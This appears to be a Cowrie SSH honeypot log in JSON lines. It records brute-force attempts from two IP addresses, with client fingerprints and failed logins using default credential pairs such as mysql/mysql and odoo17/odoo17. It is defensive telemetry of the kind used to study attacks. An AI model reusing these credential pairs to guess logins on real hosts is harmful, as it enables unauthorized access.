{"eventid":"cowrie.login.failed","username":"ECC","password":"123456","message":"login attempt [ECC/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.639824Z","src_ip":"159.203.92.129","session":"9efb962016bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48468,"dst_ip":"159.203.135.109","dst_port":22,"session":"10bb720ffcce","protocol":"ssh","message":"New connection: 176.65.139.95:48468 (159.203.135.109:22) [session: 10bb720ffcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.662393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.669941Z","src_ip":"176.65.139.95","session":"10bb720ffcce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:33.770700Z","src_ip":"176.65.139.95","session":"10bb720ffcce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:34.253600Z","src_ip":"176.65.139.95","session":"10bb720ffcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:34.683351Z","src_ip":"159.203.92.129","session":"9efb962016bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:35.350181Z","src_ip":"176.65.139.95","session":"10bb720ffcce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51552,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1dff8f75b17","protocol":"ssh","message":"New connection: 176.65.139.95:51552 (159.203.135.109:22) [session: d1dff8f75b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:39.960399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:39.979993Z","src_ip":"176.65.139.95","session":"d1dff8f75b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:40.053816Z","src_ip":"176.65.139.95","session":"d1dff8f75b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:40.375579Z","src_ip":"176.65.139.95","session":"d1dff8f75b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:41.521217Z","src_ip":"176.65.139.95","session":"d1dff8f75b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51562,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fef75655316","protocol":"ssh","message":"New connection: 176.65.139.95:51562 (159.203.135.109:22) [session: 3fef75655316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:46.609029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:46.613848Z","src_ip":"176.65.139.95","session":"3fef75655316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:46.695877Z","src_ip":"176.65.139.95","session":"3fef75655316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:46.968318Z","src_ip":"176.65.139.95","session":"3fef75655316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:48.053730Z","src_ip":"176.65.139.95","session":"3fef75655316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43182,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7d2191b0113","protocol":"ssh","message":"New connection: 176.65.139.95:43182 (159.203.135.109:22) [session: e7d2191b0113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:52.981533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:52.986370Z","src_ip":"176.65.139.95","session":"e7d2191b0113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:53.107766Z","src_ip":"176.65.139.95","session":"e7d2191b0113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:53.384953Z","src_ip":"176.65.139.95","session":"e7d2191b0113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:54.470365Z","src_ip":"176.65.139.95","session":"e7d2191b0113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40998,"dst_ip":"159.203.135.109","dst_port":22,"session":"28d85354b5ea","protocol":"ssh","message":"New connection: 176.65.139.95:40998 (159.203.135.109:22) [session: 28d85354b5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:59.627413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:59.632045Z","src_ip":"176.65.139.95","session":"28d85354b5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:23:59.714916Z","src_ip":"176.65.139.95","session":"28d85354b5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:00.018111Z","src_ip":"176.65.139.95","session":"28d85354b5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:01.111777Z","src_ip":"176.65.139.95","session":"28d85354b5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41022,"dst_ip":"159.203.135.109","dst_port":22,"session":"7150aa45fe75","protocol":"ssh","message":"New connection: 176.65.139.95:41022 (159.203.135.109:22) [session: 7150aa45fe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:05.964043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:05.969642Z","src_ip":"176.65.139.95","session":"7150aa45fe75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:06.073861Z","src_ip":"176.65.139.95","session":"7150aa45fe75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:06.365800Z","src_ip":"176.65.139.95","session":"7150aa45fe75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:07.457441Z","src_ip":"176.65.139.95","session":"7150aa45fe75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43124,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1115dc0b8fb","protocol":"ssh","message":"New connection: 176.65.139.95:43124 (159.203.135.109:22) [session: e1115dc0b8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:12.224138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:12.228989Z","src_ip":"176.65.139.95","session":"e1115dc0b8fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:12.328333Z","src_ip":"176.65.139.95","session":"e1115dc0b8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:12.846442Z","src_ip":"176.65.139.95","session":"e1115dc0b8fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:13.951072Z","src_ip":"176.65.139.95","session":"e1115dc0b8fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42530,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b51338308af","protocol":"ssh","message":"New connection: 159.203.92.129:42530 (159.203.135.109:22) [session: 3b51338308af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.020234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.025641Z","src_ip":"159.203.92.129","session":"3b51338308af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.029537Z","src_ip":"159.203.92.129","session":"3b51338308af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ECC","password":"ECC","message":"login attempt [ECC/ECC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.041801Z","src_ip":"159.203.92.129","session":"3b51338308af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42212,"dst_ip":"159.203.135.109","dst_port":22,"session":"32cc8ed77c55","protocol":"ssh","message":"New connection: 176.65.139.95:42212 (159.203.135.109:22) [session: 32cc8ed77c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.707482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:18.732721Z","src_ip":"176.65.139.95","session":"32cc8ed77c55","protocol":"ssh"}
